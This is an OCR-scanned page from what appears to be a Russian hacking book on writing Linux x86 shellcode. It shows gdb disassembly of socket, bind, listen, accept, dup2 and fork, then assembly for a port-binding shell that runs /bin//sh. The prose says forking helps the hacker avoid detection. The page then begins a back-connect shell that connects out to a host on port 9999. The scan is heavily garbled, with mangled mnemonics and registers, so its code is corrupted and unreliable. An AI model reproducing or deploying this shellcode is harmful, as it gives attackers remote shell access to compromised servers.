Анимация
JavaScript


Главная  Библионтека 

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 [ 46 ] 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88

(gdb) disas socket Durap of asserabler code 0x804cda0 <socket>; 0x804cda2 <socket+2>: 0x804cda7 <socket+7>: 0x804cdac <socket+12>: 0x804cdb0 <socket+16>: 0x804cdb2 <socket+18>: 0x804cdb4 <socket+20>: 0x804cdb7 <socket+23>: 0x804cdbd <socket+29>: 0x804cdbe <socket+30>: 0x804cdbf <socket+31>:

for function socket:

movl raovl movl leal int movl cmpl jae ret nop nop

%ebx,%edx $0x66,%eax $Oxl,%ebx 0x4 (%esp,1),%ecx $0x80 %edx,%ebx $Oxffffff83,%eax Ox804cdcO < syscall error>

, % ecx

%ebx,%edx $0x66,%eax $0x2,%ebx 0x4 (%esp,l) $0x80 %edx,iebx $Oxffffff83,%eax 0x804cdc0 < syscall

0x804cd60 <bind>: raovl

0x804cd62 <bind+2>: movl

0x804cd67 <bind+7>: raovl

0x804cd6c <bind+12>: leal

0x804cd70 <bind+16>; int

0x804cd72 <bind+18>: raovl

0xS04cd74 <bind+20>: cmpl

0x804cd77 <bind+23>: jae UxH04cdcO < syscall error>

0x804cd7d <bind+29>: ret

0x804cd7e <bind+30>: nop

0x804cd7f <bind+31>: nop End of assembler durap.

(gdb) disas listen

Durap of asserabler code for function listen:

0x804cd80 .<listen>: raovl %ebx,%edx

0x804cd82 <listen+2>: movl $0x66,%eax

0x804cd87 <listen+7>: raovl $0x4,%ebx

Ox8 0 4cd8c <listen + 12>: leal 0x4 (Iesp,1),%ecx

0x804cd90 <listen+16>: int $0x80

0x804cd92 <listen+18>: raovl %edx,%ebx

0x 8 0 4 cd94 <listen + 20>: crapl $ 0 x f f f f f f 8 3 , %eax

0x804cd97 <listen+23>: jae 0x804cdc0 < syscall error>

0x804cd9d <listen+29>: ret

0x804cd9e <listen+30>: nop

0x804cd9f <listen+31>: nop

End of asserabler durap.

(gdb) disas accept Durap of asserabler code

for function accept

, %ecx

%ebx,%edx $0x66,%eax $0x5,%ebx 0x4(*esp,1) $0x80 *edx,%ebx $0xffffff83,%eax 0x804cdc0 < syscall error>

0x804cd40 < accept>: raovl

0x804cd42 < accept+2>: movl

0x804cd47 < accept+7>: movl

0x804cd4c < accept+12>: leal

0x804cd50 < accept+16>: int

0x804cd52 < accept+18>: raovl

0x804cd54 < accept+20>: crapl

0x804cd57 < accept+23>: jae

0x804cd5d < accept+29>: ret

0x804cd5e < accept+30>: nop

0x804cd5f < accept+31>: nop End of assembler durap.

Приведем все это к более понятному виду:

dup2(cli,0)

по завершении предыдущей функции в %еах дескриптор сокета, который передаем как второй параметр, поэтому помещаем его в регистр %еЬх номер системного вызова помещаем в регистр

End of assembler dump.

(gdb) disas bind Durap of assembler code for functioh bind:

/третий параметр - О, передаем управление raovb *al,%bl raovb $0x3f,%al xorl %ecx,%ecx int $0x80

forkO

%eax

поэтому ядру

обнуляем регистр %есх

ничего особенного; просто передаем управле}ие~~яд


Теперь попробуем написать shell-code для этой программы.

Для начала выполним дизассемблирование этой программы. Получим приблизитедьц, следующее:

(gdb) disas dup2

Dump of assembler code for function dup2;

Ox804cbeO <dup2>: raovl %ebx,%edx

0x8 0 4 cbe2 <dup2 + 2>: raovl Ox8(%esp,1),%ecx

0x 8 0 4 cbe6 <dup2 + 6>; raovl Ox 4 ( %esp,1) ,%ebx

0x804cbea <dup2+10>: movl $0x3f,%eax

0x804cbef <dup2+15>: int $0x80

Ox804cbfl <dup2+17>; raovl %edx,%ebx

0x8 0 4 cbf3 <dup2 + 19>: crapl $0xfffff001,%eax

0x804cbf8 <dup2+24>: jae Ox804cdcO < sуsca1l error>

0x804cbfe <dup2+30>: ret

0x804cbff <dup2+31>; nop End of asserabler durap .

(gdb) disas fork

Durap of asserabler code for function fork:

0x804ca90 <fork>: raovl $0x2,%eax

0x804ca95 <fork+5>: int $0x80

0x804ca97 <fork+7>: crapl $Oxfffff001,%eax 0x804ca9c <fork+12>: jae 0x804cdc0 < syscall error> 0x804caa2 <fork+18>: ret 0x804caa3 <fork+19>; nop 0x804caa4 <fork+20>: nop 0x804caa5 <fork+21>: nop 0х804сааб <fork+22>: nop

0x804caa7 <fork+23>: nop

0x804caa8 <fork+24>; nop

0x804caa9 <fork+25>: nop

0x804caaa <fork+26>: nop

0x804caab <fork+27>: nop

0x804caac <fork+28>: nop

0x804caad <fork+29>: nop

0x804caae <fork+30>; nop

0x804caaf <fork+31>: nop End of asserabler durap.



и если он не равен нулю, уходим

raovb raovw raovb

$0x2,%al %ax,Oxc(%esi] $0x77,%al


listen (soc,1) :,;омер подфункции listen () == 4 raovl %esi,%ecx raovl %eax , (*esi) movb $0x1,%al raovl %eax,0x4(%esi) raovb $0x66,%al movb $0x4,Ibl int $0x80

accept(soc , 0 , 0 )

не стоит забывать, что по выходу из функции выходной параметр- передается через регистр %еах, так что обнулять его не стоит; следует вначале его сохранить в том месте, где это положено для. данного вызова

movl %esi,%есх raovl %еах, (*esi) xorl %еах,4еах raovl %еах,0x4 (%esi) raovl %eax,0x8 (%esi) movb $0x66,%al movb $0x5,%bl int $0x80

Используя код этих вызовов, можно создать готовую программу, как из конструктора. Ниже приведен код программы, реализующей работу port-shell кода.

. text

.global start start: вызов функции fork() xorl %eax,%eax raovb $0x2,%al int , 0x80 проверяем результат, testi %eax,%eax jne exit l jmp doit l popl %esi вызов функции socketO xorl %eax,%eax xorl %ebx,%ebx raovl %esi,%ecx movb $0x2,%al raovl %eax, (%esi) raovb $0x1,%al raovl %eax,0x4(%esi raovb $0x6,%al raovl %eax,0x8(%esi raovb $0x66,%al raovb $0x1,%bl , int $0x80 /вызов функции bindO raovl %eax, (%esi)

указав в регистре %еах номер системного вызова fork() вообще говоря, для облегчения кода эту функцию можно выбросить, но демон, в котором вызовется этот shell-code, будет ждать окончания работы этой программы, чго может выдать хакера

xorl %еах,%еах

raovb $0x2,ial

int $0x80

socket(2,1,0)

AFINET, SOCK STREAM - определенные имена в заголовочных файлах sys/socket.h, так что можно подсмотреть их и установить уже определенные номера;

также необходимо отметить, что для вызова SYS socкеtса11 характерна следующая черта:

данный вызов делится на несколько подвызовов, у каждого есть свой номер;

при этом, когда нужно написать программу на ассемблере в регистр %еах по-прежнему помещается номер вызываемо функции(SYS socketcall)с номером 0x66, а в регистр %еЬх - номер подфункции;

все параметры, передаваемые в системный вызов, располагаются в памяти; указатель на эту область помещается в регистр %есх номера подфункций для этого системного вызова можно н-айти в файле /usr/include/linux/net.h номер подфункции socket() == 1

xorl %еах,%еах xorl %ebx,%ebx movl esi,%ecx movl %eax,0x8 (lesi) movb $0x1,%al movl %eax,0x4 ( %esi) movb $0x2,%al raovl %eax , ( %esi) raovb $0x66,%al movb $0x1,%bl int $0x80

bind (soc, (struct sockaddr *)sserv addr,0x10) номер подфункции bindO == 2 все точно также как и с вызовом socket() при условии, что здесь происходит заполнение структуры, описывающей серверную часть программы

movl %esi,%ecx

movl %еах, (%esi)

movb $0x2,%al

movw %ax,Oxc(%esi)

raovb $0x77,%al

raovw iiax,Oxe(%esi)

leal Oxc(%esi),%eax

raovl %eax,0x4(%esi)

xorl %eax,%eax

raovl %eax,0x10 (%esi)

raovb $0x10,%al movl %eax,0x8 (%esi)

raovb $0x66,%al

raovb $0x2,%bl int $0x80



raovw leal movl xorl movl movb movl movb movb int jmp

exit l jmp

doit 1

%ax,Oxe{%esi) Oxc (%esi),%eax %eax,0x4 (%esi) %eax,leax %eax,0x10 {%esi) $0x10 , %al %eax,0x8 (%esi) $0x66,%al $0x2,%bl $0x80 0x4

$exit

jmp . doit вызов функции listen!) raovb $0x1,%al movl %eax,0x4 (%esi) movb $0x66,%al raovb $0x4,%bl int $0x80 вызов функции accept О xorl %eax,%eax raovl %eax,0x4(%esi) movl %eax,0x8 (%esi) raovb $0x66,%al movb $0x5,°sbl int $0x80 вызов функций dup2() вообще говоря, этот код можно

%al,%Ь1 $0x3f, %al %есх,%есх $0x80

было бы заменить на следующий:

raovb movb xorl int

movb $0x3f,ial raovb $0x1,%cl II int $0x80

raovb $0x3f,%al movb $0x2,%cl int $0x80

ho это увеличит размер кода, да алгоритмически не очень красиво

movb $3,%cl

raovb %а1,%bl

1оор 1:

raovb $0x3f,%al

int $0x80

loopnz $loop l вызов функции execve() смотри advanced execveO

xorl %eax,%eax

pushl %eax

pushl $0x68732f6e

pushl $0x69622f2f

movl lesp,%ebx

cltd

pushl %edx pushl %ebx movl %esp,%ecx raovb $Oxb,%al int $0x80 exit:

вызов функции выхода xorl %eax,%eax movb $0x1,%al xorl %ebx,%ebx int $0x80

после ниже идущей команды call в сегмент кода будет записываться структура, описывающая серверную часть программы doit:

call didit

В качестве дополнения ниже приведена программа, описывающая несколько другие действия и в общем схожая по алгоритму с предыдущей. Дело в том что хакеры не всегда подсоединяются к серверу сами. Порой, из-за настроек firewall приходится вынуждать сервер подключаться к хакеру. Для этого используются back-connect shell-коды, программы, при запуске которых подсоединяются к определенному серверу на определенный порт и открывают оболочку.

В этом случае сам сервер становится клиентом, а хакер - сервером.

start

text .global start:

raov1 %esp,%ebp %edx,ledx $102,%edx %edx, %eax %ecx,lecx %ecx,%ebx %ebx %ebx, %ebx %ebx, %ebx %ecx.

xorl raovb raovl xorl raovl incl raovl incl movl decl raovl leal int xorl raovl incl movw movw raovl leal raovl raovb raovl incl leal

-8(%ebp) -12(%ebp)

. -4(%ebp) -12 (%ebp),%ecx $0x80 4ecx,%ecx %eax,-12(lebp) %ebx

%ebx,-20(%ebp) $9999,-18(%ebp) $0xl00007f,-16(%ebp) -20 (%ebp),%eax %eax,-8 (%ebp) $16,-4(%ebp) %edx,%eax %ebx

-12 (%ebp),%ecx



0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 [ 46 ] 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88